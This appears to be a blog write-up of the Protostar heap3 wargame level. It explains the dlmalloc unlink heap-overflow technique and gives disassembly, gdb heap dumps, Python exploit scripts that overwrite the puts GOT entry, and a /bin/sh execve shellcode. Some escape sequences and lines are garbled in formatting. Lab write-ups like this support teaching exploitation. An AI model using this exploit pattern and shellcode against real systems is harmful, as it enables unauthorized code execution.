This level introduces us to a very old heap unlink vulnerability where one can exploit the malloc’s way of unlinking free heap chunks and gain code execution by overwriting arbitrary memory locations on the heap. If you have no idea on what heap or heap chunks means, you can have a look at my previous article here.
Downloads
The VM used in this article can be downloaded here
Note
The scope of this challenge is to execute the winner function, but we will also be leveraging its code execution to understand how different free() calls can overwrite the data on heap chunks and thus corrupt your shellcode.
The objective of this level is to execute the winner function. Let’s have a look at the disassembly of this binary.
Before diving directly into the inner working of the malloc free algorithm, let’s first understand the operation of the application by going through its disassembly. By looking at the disassembled code, we can understand that it allocates some memory on the heap and stores the pointer to the memory location in the three variables. It further uses a vulnerable strcpy function to copy data onto those three memory locations and at the end free them in reverse order.
Dump of assembler code for function main:
0x08048889 <main+0>: push ebp
0x0804888a <main+1>: mov ebp,esp
0x0804888c <main+3>: and esp,0xfffffff0
0x0804888f <main+6>: sub esp,0x20
; allocate 32 bytes for the first variable at [esp+0x14]
0x08048892 <main+9>: mov DWORD PTR [esp],0x20
0x08048899 <main+16>: call 0x8048ff2
0x08048916 <main+141>: mov eax,DWORD PTR [esp+0x18]
0x0804891a <main+145>: mov DWORD PTR [esp],eax
0x0804891d <main+148>: call 0x8049824 python -c “print ‘B’*36+’x65′”
CCCCCCCC
Breakpoint 1, 0x08048911 in main (argc=4, argv=0xbffffd34) at heap3/heap3.c:24
24 in heap3/heap3.c
(gdb) x/60wx 0x804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c050: 0x42424242 0x00000065 0x43434343 0x43434343
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0e0: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb)
To overcome this, we will be using a negative shifting technique described in Phrack Issue 57 Article 9. That is if we add two large values (0xfffffffc + 0x64 = 100000060) their entire sum won’t fit in 32bit size and thus only 0x00000060 will be written to dword. Thus, overcoming the zero-byte problem.
To conclude this, we will be adding new chunk with larger chunk size and pointers to overwrite printf (optimized to PUTS) GOT with pointer to our shellcode. We determined the GOT address of puts function as follows:
We created three files named A, B, C with following contents:
Dump of assembler code for function puts@plt:
0x08048790 <puts@plt+0>: jmp DWORD PTR ds:0x804b128
0x08048796 <puts@plt+6>: push 0x68
0x0804879b <puts@plt+11>: jmp 0x80486b0
End of assembler dump.
(gdb) p 0x804b128–0xc
$1 = 134525212
(gdb) x 134525212
0x804b11c <GLOBAL_OFFSET_TABLE+52>: 0x08048766
(gdb)
A – Some Junk + shellcode (mov eax, address of winner plt; call eax)
B – some junk + 0x65 (To adjust the size of chunk C)
C –
filename : b.py
#!/usr/bin/env python print ‘B’*36+‘x65’
filename : c.py
#!/usr/bin/env python
import struct
def p(addr):
return struct.pack(“<I”,addr)
print “x90”*92+p(0xfffffffc)*2+p(0x804b11c)+p(0x804c014)
Executing exploit outside the GDB.
Starting program: /opt/protostar/bin/heap3 python /tmp/a.py
python /tmp/b.py
python /tmp/c.py
Breakpoint 1, 0x08048911 in main (argc=4, argv=0xbffffcc4) at heap3/heap3.c:24
24 heap3/heap3.c: No such file or directory.
in heap3/heap3.c
(gdb) x/50wx 0x804c000
; state of heap before the exploit
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x048864b8 0x90d0ff08 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c050: 0x42424242 0x00000065 0x90909090 0x90909090
0x804c060: 0x90909090 0x90909090 0x90909090 0x90909090
0x804c070: 0x90909090 0x90909090 0x90909090 0x90909090
0x804c080: 0x90909090 0x90909090 0x90909090 0x90909090
0x804c090: 0x90909090 0x90909090 0x90909090 0x90909090
0x804c0a0: 0x90909090 0x90909090 0x90909090 0x90909090
0x804c0b0: 0x90909090 0xfffffffc 0xfffffffc 0x0804b11c
0x804c0c0: 0x0804c014 0x00000000
(gdb) c
Continuing.
Breakpoint 2, main (argc=4, argv=0xbffffcc4) at heap3/heap3.c:28
28 in heap3/heap3.c
(gdb) x/50wx 0x804c000
; state of heap after the exploit
0x804c000: 0x00000000 0x00000029 0x0804c028 0x41414141
0x804c010: 0x41414141 0x048864b8 0x90d0ff08 0x0804b11c
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x00000000 0x42424242 0x42424242 0x42424242
0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c050: 0x42424242 0x00000061 0x0804b194 0x0804b194
0x804c060: 0x90909090 0x90909090 0x90909090 0x90909090
0x804c070: 0x90909090 0x90909090 0x90909090 0x90909090
0x804c080: 0x90909090 0x90909090 0x90909090 0x90909090
0x804c090: 0x90909090 0x90909090 0x90909090 0x90909090
0x804c0a0: 0x90909090 0x90909090 0x90909090 0x90909090
0x804c0b0: 0x00000060 0xfffffffc 0xfffffffc 0x0804b11c
0x804c0c0: 0x0804c014 0x00000000
(gdb) c
Continuing.
that wasn’t too bad now, was it? @ 1503231861
Program received signal SIGSEGV, Segmentation fault.
0x0804c020 in ?? ()
(gdb)
For code execution, we planned our exploit as follows: A – (mov eax, pointer to shellcode;call eax) B – some junk + shellcode + next chunk size C – some junk + size + pointers Following screenshot shows the state of heap memory before and after the free() call. An observant user may also have noticed that we have placed our JMP Code and shellcode after some bytes. This is because free() will also overwrite the data at a memory location where malloc pointer returns. Thus, we need to place our shellcode at some memory location where it does not get corrupted. #!/usr/bin/env python jmp_addr = “xB8x34xC0x04x08xFFxD0” print ‘A’*12+jmp_addr+‘A’*10
filename : b.py
#!/usr/bin/env python shellcode = “x31xC0x50x92x68x2Fx2Fx73x68x68x2Fx62x69x6Ex87xDCx31xC0xB0x0BxCDx80” block_size = ‘x65’ print “B”*4+shellcode+‘B’*10+block_size
filename : c.py
#!/usr/bin/env python
import struct
def p(addr):
return struct.pack(“<I”,addr)
print “C”*92+p(0xfffffffc)*2+p(0x804b11c)+p(0x804c014)
The following screenshots show our shellcode being executed, both within and outside the GDB.
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x04c034c8 0x41d0ff08 0x41414141
After free()
0x804c000: 0x00000000 0x00000029 0x0804c028 0x41414141
0x804c010: 0x41414141 0x04c034c8 0x41d0ff08 0x0804b11c
Starting program: /opt/protostar/bin/heap3 python /tmp/a.py
python /tmp/b.py
python /tmp/c.py
Breakpoint 1, 0x08048911 in main (argc=4, argv=0xbffffcb4) at heap3/heap3.c:24
24 heap3/heap3.c: No such file or directory.
in heap3/heap3.c
(gdb) x/50wx 0x804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x04c034b8 0x41d0ff08 0x41414141
0x804c020: 0x41414141 0x00000041 0x00000000 0x00000029
0x804c030: 0x42424242 0x9250c031 0x732f2f68 0x622f6868
0x804c040: 0xdc876e69 0x0bb0c031 0x424280cd 0x42424242
0x804c050: 0x42424242 0x00000065 0x43434343 0x43434343
0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c070: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c080: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c090: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c0a0: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c0b0: 0x43434343 0xfffffffc 0xfffffffc 0x0804b11c
0x804c0c0: 0x0804c014 0x00000000
(gdb) c
Continuing.
Breakpoint 2, main (argc=4, argv=0xbffffcb4) at heap3/heap3.c:28
28 in heap3/heap3.c
(gdb) x/50wx 0x804c000
0x804c000: 0x00000000 0x00000029 0x0804c028 0x41414141
0x804c010: 0x41414141 0x04c034b8 0x41d0ff08 0x0804b11c
0x804c020: 0x41414141 0x00000041 0x00000000 0x00000029
0x804c030: 0x00000000 0x9250c031 0x732f2f68 0x622f6868
0x804c040: 0xdc876e69 0x0bb0c031 0x424280cd 0x42424242
0x804c050: 0x42424242 0x00000061 0x0804b194 0x0804b194
0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c070: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c080: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c090: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c0a0: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c0b0: 0x00000060 0xfffffffc 0xfffffffc 0x0804b11c
0x804c0c0: 0x0804c014 0x00000000
(gdb) x/10i 0x804c034
0x804c034: xor eax,eax
0x804c036: push eax
0x804c037: xchg edx,eax
0x804c038: push 0x68732f2f
0x804c03d: push 0x6e69622f
0x804c042: xchg esp,ebx
0x804c044: xor eax,eax
0x804c046: mov al,0xb
0x804c048: int 0x80
0x804c04a: inc edx
(gdb)
https://www.youtube.com/watch?v=HWhzH–89UQ https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/ http://phrack.org/issues/57/9.html https://sploitfun.wordpress.com/2015/02/26/heap-overflow-using-unlink/